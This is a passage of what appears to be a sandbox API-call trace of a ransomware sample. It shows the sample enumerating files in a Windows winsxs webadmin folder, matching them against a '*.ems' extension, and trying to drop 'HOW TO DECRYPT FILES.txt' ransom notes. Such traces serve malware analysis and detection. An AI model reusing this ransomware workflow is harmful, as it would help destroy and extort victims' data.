lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\" [0165.557] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\") returned="" [0165.557] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\HOW TO DECRYPT FILES.txt" [0165.557] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\how to decrypt files.txt")) returned 0xffffffff [0165.558] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.558] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.558] CloseHandle (hObject=0xffffffff) returned 0 [0165.558] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\", lpString2="web.config" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\web.config") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\web.config" [0165.558] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\web.config", pszSpec="*.ems") returned 0 [0165.558] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb15407f7, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb15407f7, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x94af1bef, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x9c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="webAdmin.master", cAlternateFileName="WEBADM~1.MAS")) returned 1 [0165.558] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.558] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="webAdmin.master") returned -1 [0165.559] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="webAdmin.master") returned -1 [0165.559] lstrcmpiA (lpString1="", lpString2="webAdmin.master") returned -1 [0165.559] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\web.config") returned="web.config" [0165.559] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\" [0165.559] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\") returned="" [0165.559] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\HOW TO DECRYPT FILES.txt" [0165.559] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\how to decrypt files.txt")) returned 0xffffffff [0165.559] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.559] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.559] CloseHandle (hObject=0xffffffff) returned 0 [0165.559] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\", lpString2="webAdmin.master" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\webAdmin.master") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\webAdmin.master" [0165.559] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\webAdmin.master", pszSpec="*.ems") returned 0 [0165.560] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb15407f7, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb15407f7, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x94d06f13, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x831, dwReserved0=0x0, dwReserved1=0x0, cFileName="webAdminButtonRow.master", cAlternateFileName="WEBADM~2.MAS")) returned 1 [0165.560] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.560] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="webAdminButtonRow.master") returned -1 [0165.560] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="webAdminButtonRow.master") returned -1 [0165.560] lstrcmpiA (lpString1="", lpString2="webAdminButtonRow.master") returned -1 [0165.560] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\webAdmin.master") returned="webAdmin.master" [0165.560] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\" [0165.560] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\") returned="" [0165.560] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\HOW TO DECRYPT FILES.txt" [0165.560] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\how to decrypt files.txt")) returned 0xffffffff [0165.560] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.560] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.561] CloseHandle (hObject=0xffffffff) returned 0 [0165.561] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\", lpString2="webAdminButtonRow.master" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\webAdminButtonRow.master") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\webAdminButtonRow.master" [0165.561] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\webAdminButtonRow.master", pszSpec="*.ems") returned 0 [0165.561] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169743c, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb169743c, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9510b3fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x2f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="webAdminNoButtonRow.master", cAlternateFileName="WEBADM~3.MAS")) returned 1 [0165.561] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.561] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="webAdminNoButtonRow.master") returned -1 [0165.561] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="webAdminNoButtonRow.master") returned -1 [0165.561] lstrcmpiA (lpString1="", lpString2="webAdminNoButtonRow.master") returned -1 [0165.561] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\webAdminButtonRow.master") returned="webAdminButtonRow.master" [0165.561] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\" [0165.561] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\") returned="" [0165.561] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\HOW TO DECRYPT FILES.txt" [0165.561] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\how to decrypt files.txt")) returned 0xffffffff [0165.561] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.562] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.562] CloseHandle (hObject=0xffffffff) returned 0 [0165.562] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\", lpString2="webAdminNoButtonRow.master" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\webAdminNoButtonRow.master") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\webAdminNoButtonRow.master" [0165.562] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\webAdminNoButtonRow.master", pszSpec="*.ems") returned 0 [0165.562] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb16e36f6, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb16e36f6, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9510b3fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x13, dwReserved0=0x0, dwReserved1=0x0, cFileName="webAdminNoNavBar.master", cAlternateFileName="WEBADM~4.MAS")) returned 1 [0165.562] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.562] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="webAdminNoNavBar.master") returned -1 [0165.562] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="webAdminNoNavBar.master") returned -1 [0165.562] lstrcmpiA (lpString1="", lpString2="webAdminNoNavBar.master") returned -1 [0165.562] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\webAdminNoButtonRow.master") returned="webAdminNoButtonRow.master" [0165.562] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\" [0165.562] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\") returned="" [0165.562] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\HOW TO DECRYPT FILES.txt" [0165.562] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\how to decrypt files.txt")) returned 0xffffffff [0165.563] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.563] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.563] CloseHandle (hObject=0xffffffff) returned 0 [0165.563] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\", lpString2="webAdminNoNavBar.master" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\webAdminNoNavBar.master") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\webAdminNoNavBar.master" [0165.563] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\webAdminNoNavBar.master", pszSpec="*.ems") returned 0 [0165.563] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb172f9b0, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb172f9b0, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9510b3fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x32a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebAdminStyles.css", cAlternateFileName="WEBADM~1.CSS")) returned 1 [0165.563] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.563] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WebAdminStyles.css") returned -1 [0165.563] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WebAdminStyles.css") returned -1 [0165.563] lstrcmpiA (lpString1="", lpString2="WebAdminStyles.css") returned -1 [0165.563] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\webAdminNoNavBar.master") returned="webAdminNoNavBar.master" [0165.563] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\" [0165.564] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\") returned="" [0165.564] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\HOW TO DECRYPT FILES.txt" [0165.564] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\how to decrypt files.txt")) returned 0xffffffff [0165.564] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.564] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.564] CloseHandle (hObject=0xffffffff) returned 0 [0165.564] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\", lpString2="WebAdminStyles.css" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminStyles.css") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminStyles.css" [0165.564] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminStyles.css", pszSpec="*.ems") returned 0 [0165.564] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb172f9b0, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb172f9b0, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9510b3fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xef2, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebAdminWithConfirmation.master", cAlternateFileName="WE5915~1.MAS")) returned 1 [0165.565] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.565] lstrcmpiA (lpString1="ÊÀÊ 